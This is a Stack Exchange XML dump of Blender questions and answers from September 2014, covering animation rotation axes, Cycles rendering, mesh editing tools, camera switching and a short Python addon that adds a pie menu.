  <row Id="16012" PostTypeId="1" AcceptedAnswerId="16015" CreationDate="2014-09-19T09:57:31.263" Score="2" ViewCount="9693" Body="&lt;p&gt;I'm creating an animation where I rotate an object, insert a LocRotScale keyframe (via the &lt;kbd&gt;I&lt;/kbd&gt; key), select another frame, rotate the object again and insert a LocRotScale keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I use this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Z&lt;/kbd&gt;, 190, &lt;kbd&gt;Enter&lt;/kbd&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to rotate the object around its own z-axis instead of the global z-axis.&#xA;I've found out if you press the [Z] two times you get the Local axis instead of Global.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I do this now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;, 190, &lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rotation is ok, but when I insert the LocRotScale keyframe it did the rotation, but not around the Normal axis, but it used the Global axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion on what I'm doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="6102" LastEditorUserId="241" LastEditDate="2014-09-19T15:05:25.957" LastActivityDate="2014-09-19T15:05:25.957" Title="Animation: create a rotation around the object z-axis instead of global z-axis" Tags="&lt;animation&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-09-19T16:38:22.610" ContentLicense="CC BY-SA 3.0" />
  <row Id="16013" PostTypeId="2" ParentId="15998" CreationDate="2014-09-19T11:43:09.950" Score="0" Body="&lt;p&gt;An armature moves the mesh data of an object, not the object itself. If you make the armature the parent of the mesh object, the mesh object will move with the armature when you move it in object mode. You will also notice that adjusting the armature in pose mode will leave the origin of the armature at the start position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The modifiers have &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/introduction.html#interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;some display options&lt;/a&gt; that can be turned on/off. Some modifiers only have two some three and some four, the armature modifier has all four. Enabling all four will prevent the mesh snapping back to it's original position in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ivBwK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="24421" LastEditDate="2017-03-22T15:07:55.560" LastActivityDate="2017-03-22T15:07:55.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16015" PostTypeId="2" ParentId="16012" CreationDate="2014-09-19T12:35:24.883" Score="4" Body="&lt;p&gt;Set  Rotation type to ZXY Euler, then the animation around the local axes works like a charm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/afpse.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an Example Blend File for inspection: &lt;a href=&quot;http://www.pasteall.org/blend/31685&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/31685&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-09-19T13:28:19.470" LastActivityDate="2014-09-19T13:28:19.470" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16017" PostTypeId="1" CreationDate="2014-09-19T13:14:29.850" Score="1" ViewCount="518" Body="&lt;p&gt;I am using opensuse 13.1, and blnder 2.67b. In my blender there is no cycles renderer. I tried in the preference to enable it but it says that the cycles script is missing. How do i install the cycles render engine in opensuse?? &lt;/p&gt;&#xA;" OwnerUserId="6115" LastActivityDate="2014-09-19T19:35:03.067" Title="No cycles engine in opensuse?" Tags="&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16019" PostTypeId="1" CreationDate="2014-09-19T15:19:30.927" Score="1" ViewCount="64" Body="&lt;p&gt;So I modeled an object and after trying to figure out how to apply multiple textures to the same item, I decided I would just edit the texture to accommodate. Unfortunately, while trying to add multiple textures I think I messed up my nodes. Here's some screen shots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the problem: &lt;img src=&quot;https://i.stack.imgur.com/9KzuH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are my compositing nodes: &lt;img src=&quot;https://i.stack.imgur.com/0d7Kv.jpg&quot; alt=&quot;Compositing Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are my shader nodes: &lt;img src=&quot;https://i.stack.imgur.com/tSUF4.jpg&quot; alt=&quot;Shader Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted the table legs to have the iron texture, the top a light wood texture, and everything else the dark wood texture. I'd imagine this is probably a pretty basic issue, but I'm new and the most I've done with nodes is image displacements.&lt;/p&gt;&#xA;" OwnerUserId="6118" LastEditorUserId="2217" LastEditDate="2014-09-19T16:27:38.420" LastActivityDate="2014-09-19T16:27:38.420" Title="Object not rendering how I mapped it" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-10-22T20:57:28.883" ContentLicense="CC BY-SA 3.0" />
  <row Id="16021" PostTypeId="1" CreationDate="2014-09-19T15:31:23.773" Score="0" ViewCount="301" Body="&lt;p&gt;I started to use Blender to make Intros and stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm working on a very complex intro with animations and other stuff. Everything works pretty well except the rendering. When I hit &lt;kbd&gt;F12&lt;/kbd&gt; I just have my World Color but no Meshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I am using Cycles to render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to the &quot;Realtime&quot; Render view I can see the meshes and Shadows but these Meshes have the same color like the world color even when I apply some materials.&lt;/p&gt;&#xA;" OwnerUserId="6119" LastEditorUserId="2217" LastEditDate="2014-09-19T16:25:07.037" LastActivityDate="2014-09-19T16:57:34.060" Title="Meshes don't render in cycles" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-09-20T02:08:33.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="16022" PostTypeId="2" ParentId="16021" CreationDate="2014-09-19T16:57:34.060" Score="2" Body="&lt;p&gt;You camera must be placed and directed to render appropriately.  (User Views) and Camera View are not the same.  Press 0 zero in 3D View Mode to see camera view.  I would put this under a comment if I could.  I am new at this site.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2014-09-19T16:57:34.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16023" PostTypeId="1" AcceptedAnswerId="16025" CreationDate="2014-09-19T16:59:28.177" Score="0" ViewCount="194" Body="&lt;p&gt;I have a robot model that consists of several objects and I want a scene with many robots in different positions. My current approach is to group all of the objects of the robot and then make a linked duplicate of that group. Every time I do that, however, each part of the robot (left arm, right leg, etc.) gets duplicated with a unique name ( left arm 001, right leg 001, etc.). I don't want each object to have a unique name, I just want each robot group to have a unique name. Can I make folders or use parenting so that my Outliner isn't flooded with duplicates? Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="6121" LastActivityDate="2014-09-19T18:04:46.917" Title="Naming issue with many linked duplicates of groups" Tags="&lt;linked-data&gt;&lt;groups&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16024" PostTypeId="2" ParentId="5991" CreationDate="2014-09-19T17:34:46.567" Score="2" Body="&lt;p&gt;If you just want to change the colors of a mesh do like kammirzazad said.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want to change the color of a actual light I'd say animate it.&#xA;3 Steps to go:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the Point/Hemi or what light you have.&#xA;Go to Frame 0 and open the properties.&lt;/li&gt;&#xA;&lt;li&gt;Set the Default-Color of your light; then, with the mouse on the color-field,&#xA;press 'I' to add a Key. Go to Frame 1 and set the second color.&#xA;Add a keyframe with I. Repeat until all colors needed are in.&lt;/li&gt;&#xA;&lt;li&gt;Set Action-Actuators to the light-object (one for each color). On each one set&#xA;startframe and endframe of the action to the frame used for the color.&lt;/li&gt;&#xA;&lt;li&gt;In the Dopesheet you may edit the animation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'll try uploading an example later&lt;/p&gt;&#xA;" OwnerUserId="5766" LastActivityDate="2014-09-19T17:34:46.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16025" PostTypeId="2" ParentId="16023" CreationDate="2014-09-19T17:36:14.903" Score="0" Body="&lt;p&gt;Use a parent empty (or parent armature) for the robot.  If a robot has a parent  then its children display can be collapsed in outline view thus reducing clutter.  When you duplicate include the parent empty to maintain this feature. All robots will then have collapsible view from parent.  As you duplicate an original group ... remove the duplicate from all groups and create a new group for it.  Thus each robot will be in a single new group including parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parents in the outliner and ... Groups in the group view of the outliner have a collapsible interface ... like folder views in OS UIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once this is done your concern about object names may lessen.  It may not be possible to have duplicate object names in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps consider Linking the robot from a different file and using group instancing .  Particles and Dupligroups may help.  &lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-09-19T18:04:46.917" LastActivityDate="2014-09-19T18:04:46.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16026" PostTypeId="1" CreationDate="2014-09-19T19:13:49.453" Score="7" ViewCount="20223" Body="&lt;p&gt;I have the following situation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4UZ23.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to move the edge highlighted in the second image along the direction of the face of the first image. I'm fairly new to blender, so I'm asking if there's a simple way to do this (e.g. no scripts).&lt;/p&gt;&#xA;" OwnerUserId="6122" LastActivityDate="2014-09-19T19:59:13.320" Title="Move edge along normal of other face?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16027" PostTypeId="2" ParentId="16026" CreationDate="2014-09-19T19:16:43.610" Score="6" Body="&lt;p&gt;You can use &lt;em&gt;Edge slide&lt;/em&gt; (&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; or &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;&lt;em&gt;&gt;Edge slide&lt;/em&gt;) to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8czvC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; will call &lt;em&gt;edge slide&lt;/em&gt; or &lt;em&gt;vertex slide&lt;/em&gt; depending on the selected topology.&lt;br&gt;&#xA;In your case, it will call &lt;em&gt;vertex slide&lt;/em&gt;. To get the desired result with vertex slide, position the cursor so that all the vertices are sliding along the desired edges, then press &lt;kbd&gt;C&lt;/kbd&gt; to clamp them to that edge:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k0qhm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertex slide is also accessible with &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-19T19:49:46.547" LastActivityDate="2014-09-19T19:49:46.547" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16028" PostTypeId="2" ParentId="16017" CreationDate="2014-09-19T19:35:03.067" Score="2" Body="&lt;p&gt;Yeah! That solved my problem, i downloaded the blender2.71.tar.gz2 version from blender.org and it have the cycles engine, though the tarball zip does not contain the installation. It have the self dependent blender package, just needed to be extracted. The site says the glibc2.11 is required, but my blender is working. i guess my os already have that. Thanx bro for helping me. &lt;/p&gt;&#xA;" OwnerUserId="6115" LastActivityDate="2014-09-19T19:35:03.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16029" PostTypeId="2" ParentId="16026" CreationDate="2014-09-19T19:44:25.673" Score="7" Body="&lt;p&gt;edge slide &lt;kbd&gt;CTRL&lt;/kbd&gt; &lt;kbd&gt;E&lt;/kbd&gt; does not work in this usage case, because of the topology. besides the solution provided by Gandalf3, here is a somewhat more complicated alternative which i just keep here as a sidenote:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the Face along which you want to move the edge:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/viMBa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the 3D Manipulator widget's Transform orientatin to &amp;quot;View&amp;quot;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;View -&amp;gt; Align View -&amp;gt; Align View to Active -&amp;gt; Top&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BditB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select Edge Select Mode&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the edges that you want to slide&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;now you can slide the edges upwards and be sure they slide along the face that you selected in 1. above&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-09-19T19:59:13.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16031" PostTypeId="1" AcceptedAnswerId="16068" CreationDate="2014-09-19T23:17:54.380" Score="8" ViewCount="14607" Body="&lt;p&gt;In some simple cases such using the default Monkey as the object to project, the resulting cut looks nothing like the monkey. Note the selected cube only has only been cut around the monkey's eyes, not the entire object.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bRkfW.png&quot; alt=&quot;knife project with the default monkey&quot;&gt;&lt;br&gt;&#xA;Trying with other primitives results in this error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No Other selected objects found to use for projection&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I know that I have both objects selected.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-06-02T00:31:41.113" LastActivityDate="2020-12-11T04:41:44.727" Title="Knife project not working" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;knife-tool&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16035" PostTypeId="2" ParentId="14519" CreationDate="2014-09-20T08:39:28.257" Score="0" Body="&lt;p&gt;Unreal engine 4 supports &lt;strong&gt;multiple UV's&lt;/strong&gt;. I can Guarantee that. The problem is, blender's FBX exporter. When you add a UV map every different object in blender, FBX exporter overlaps them by looking the index of UV maps. In case of 2 objects having 1 UV each, exporter MERGES all UV's which are the &lt;strong&gt;FIRST UV&lt;/strong&gt; of every object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try it out by making multiple UV maps for each object. index zeros merged as 1 channel, index 1's merged as another UV channel and so on.&lt;/p&gt;&#xA;" OwnerUserId="6126" LastEditorUserId="2217" LastEditDate="2015-11-22T23:45:50.420" LastActivityDate="2015-11-22T23:45:50.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16036" PostTypeId="1" CreationDate="2014-09-20T11:03:45.777" Score="6" ViewCount="6636" Body="&lt;p&gt;How do I switch active camera temporarily in the middle of an animation?&#xA;Thank you for the link, yes that is what I'm trying to do. But I'm not having much success. It seems that when I try to bind a camera to markers it binds that camera to ALL markers not just the marker I've selected. Note, I pressed A in between to clear all selected markers, then selected the marker I wanted by right-clicking on it. What might I be doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark clint dion (apologies if I've got that wrong but I have to do this on a phone, its very fiddly and the part that had your name disappeared when I pressed  edit) yes, I appreciate what you are saying but I'm still very much a novice and I don't have all the terminology yet. I try to be clear but I don.'t always realise other possible interpretations exist which might cause confusion. Please forgive me for that&#xA;Best,&#xA;Gary&lt;/p&gt;&#xA;" OwnerUserId="5940" LastEditorUserId="5940" LastEditDate="2014-09-20T22:35:51.247" LastActivityDate="2014-09-21T09:34:34.047" Title="How do I switch the active camera during an animation?" Tags="&lt;animation&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2014-09-21T09:35:29.973" ContentLicense="CC BY-SA 3.0" />
  <row Id="16037" PostTypeId="2" ParentId="13381" CreationDate="2014-09-20T11:22:44.520" Score="3" Body="&lt;p&gt;By default Zbrush wont detect Blender.&lt;br&gt;&#xA;You will need to install the plugin manually that GiantCowFilms suggested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the link posted only includes the blender side. For the zbrush side you will need to download another link. It comes with instructions on how to install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This video from CGcookie has instructions and links on how to get it working.&lt;br&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=c2ZSxxWmrQc&quot; rel=&quot;nofollow&quot;&gt;Using the GoB Zbrush Applink with Blender&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5838" LastEditorUserId="2217" LastEditDate="2015-11-22T23:28:34.293" LastActivityDate="2015-11-22T23:28:34.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16038" PostTypeId="2" ParentId="16036" CreationDate="2014-09-20T13:28:51.697" Score="2" Body="&lt;p&gt;To set a temporary camera, you can &lt;em&gt;unlock&lt;/em&gt; the camera &amp;amp; layers to the scene (button on the right hand side of the layers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this button is not pressed, you can set the active camera (Select camera, Ctrl+Numpad0) &lt;em&gt;'only for the current view'&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-09-20T13:28:51.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16039" PostTypeId="1" AcceptedAnswerId="16042" CreationDate="2014-09-20T13:43:04.823" Score="6" ViewCount="2702" Body="&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.72/UI/Pie_Menus&quot; rel=&quot;nofollow noreferrer&quot;&gt;release notes&lt;/a&gt; mention that it is possible to add pie menus. But I'm not sure how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I convert the mesh select mode menu's appearance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PenNs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0yGpH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="241" LastEditDate="2017-03-22T15:08:53.810" LastActivityDate="2018-07-22T09:20:27.920" Title="Can the mesh select mode menu converted to a pie menu in Blender 2.72?" Tags="&lt;interface&gt;&lt;customization&gt;&lt;pie-menu&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16040" PostTypeId="2" ParentId="16039" CreationDate="2014-09-20T14:18:08.443" Score="4" Body="&lt;p&gt;Try this video: &lt;a href=&quot;http://vimeo.com/103321600&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://vimeo.com/103321600&lt;/a&gt;&#xA;The actual tutorial starts at about two minutes. Hope that helps! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By chance the video describes exactly how to create the mesh select mode as pie.menu.&#xA;With the pie-menus a new python script template has been added, it is accessible from the text editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Pjnr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5708" LastEditorUserId="29" LastEditDate="2014-09-20T18:19:00.240" LastActivityDate="2014-09-20T18:19:00.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16042" PostTypeId="2" ParentId="16039" CreationDate="2014-09-20T15:57:29.203" Score="11" Body="&lt;p&gt;Some Basics are documented in the Blender Wiki, see: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.72/UI/Pie_Menus&quot;&gt;Creating Pie Menus&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Source/UI/Pie_Menus&quot;&gt;Coding Pie Menus&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Below you find a complete, briefly commented and fully working mini example addon. Just place the code below into a file named &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;whatever_name_you_like.py  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then Install/Enable this python file as a regular Addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notes: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The name of the file is not important, however the appendix '.py' is essential to mark this as a python file.&lt;/li&gt;&#xA;&lt;li&gt;You do not need to enable the &quot;Pie Menus Official&quot; Addon in order to get your own Pie menus to work properly!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Begin of the code:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;My Pies&quot;,&#xA;    &quot;author&quot;: &quot;My Name&quot;,&#xA;    &quot;version&quot;: (1, 1, 0),&#xA;    &quot;blender&quot;: (2, 72, 0),&#xA;    &quot;description&quot;: &quot;My Pie menu&quot;,&#xA;    &quot;category&quot;: &quot;Object&quot; }&#xA;&#xA;import bpy&#xA;from bpy.types import Menu&#xA;&#xA;# Implements an edit mode selection pie&#xA;&#xA;class VIEW3D_PIE_template(Menu):&#xA;    # label is displayed at the center of the pie menu.&#xA;    bl_label  = &quot;Select Mode&quot; # Appears as Pie title&#xA;    bl_idname = &quot;mesh.mypie&quot;  # Used to refer (see below)&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        pie = layout.menu_pie()&#xA;        # operator_enum will just spread all available options&#xA;        # for the type enum of the operator on the pie&#xA;        pie.operator_enum(&quot;mesh.select_mode&quot;, &quot;type&quot;)&#xA;&#xA;addon_keymaps = [] # Store keymaps to use in unregister()&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(VIEW3D_PIE_template)&#xA;&#xA;    # Define a keyboard shortcut (for Mesh Edit mode)&#xA;    wm = bpy.context.window_manager&#xA;    km = wm.keyconfigs.addon.keymaps.new(name=&quot;Mesh&quot;)&#xA;&#xA;    # Open the pie when you press CTRL SHIFT E:&#xA;    kmi = km.keymap_items.new(&quot;wm.call_menu_pie&quot;, 'E', 'PRESS', shift=True, ctrl=True)&#xA;    kmi.properties.name=&quot;mesh.mypie&quot;&#xA;    addon_keymaps.append((km,kmi)) # Store keymap&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(VIEW3D_PIE_template)&#xA;&#xA;    #use stored keymaps to unregister&#xA;    for km, kmi in addon_keymaps:&#xA;        km.keymap_items.remove(kmi)&#xA;    addon_keymaps.clear()&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-09-21T02:13:33.537" LastActivityDate="2014-09-21T02:13:33.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16043" PostTypeId="1" AcceptedAnswerId="16044" CreationDate="2014-09-20T16:38:59.683" Score="7" ViewCount="2102" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eMcpe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the First-image, I fill the hole, then by default its looks triangulated &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vhgtf.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the second image, now I want to make this into quads. So I have to do &lt;em&gt;Tries to quad&lt;/em&gt; via &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;J&lt;/kbd&gt; lets me do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the last image it did not work completely, some tries are still tries. I tried to increase or decrease the angle property. But No solution found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ZbQe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5278" LastEditorUserId="2217" LastEditDate="2014-09-20T20:01:09.763" LastActivityDate="2014-09-20T20:01:09.763" Title="Triangles to Quads Problem" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16044" PostTypeId="2" ParentId="16043" CreationDate="2014-09-20T16:50:54.907" Score="11" Body="&lt;p&gt;Circles and Quads are always a strange mix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;strong&gt;Grid Fill&lt;/strong&gt; to get quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F&lt;/KBD&gt; or Mesh-&gt;Faces-&gt;Grid Fill on the menu. &#xA;Or just press the space bar and type Grid Fill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing &lt;kbd&gt;F6&lt;/kbd&gt; will bring out the different options for the tool (or you can set them on the Grid Fill tab that appears on the Left Side of the screen by pressing &lt;kbd&gt;T&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L8h5J.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Other option&lt;/strong&gt; to deal with edges on a cylinder is  to select the edge, &lt;strong&gt;extrude&lt;/strong&gt; (&lt;Kbd&gt;E&lt;/kbd&gt;) and &lt;strong&gt;scale&lt;/strong&gt; to bring the edges in, then extrude again and press &lt;kbd&gt;Esc&lt;/kbd&gt; without moving the mouse. Then just &lt;strong&gt;merge&lt;/strong&gt; the edges at the center &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; into a pole. This oPtion will give you some triangles, but in a manageable topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Ll4q.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Other way&lt;/strong&gt; to deal with the issue is selecting the edge and using &lt;strong&gt;Fill&lt;/strong&gt; &lt;kbd&gt;F&lt;/kbd&gt;. That will create a &lt;strong&gt;N-gon&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can use &lt;strong&gt;inset&lt;/strong&gt; (&lt;kbd&gt;I&lt;/kbd&gt;). To fill the center you can choose then between an N-gon (Using &lt;strong&gt;fill&lt;/strong&gt; again) or triangles with a common pole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DSBvs.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-09-20T19:51:20.630" LastActivityDate="2014-09-20T19:51:20.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
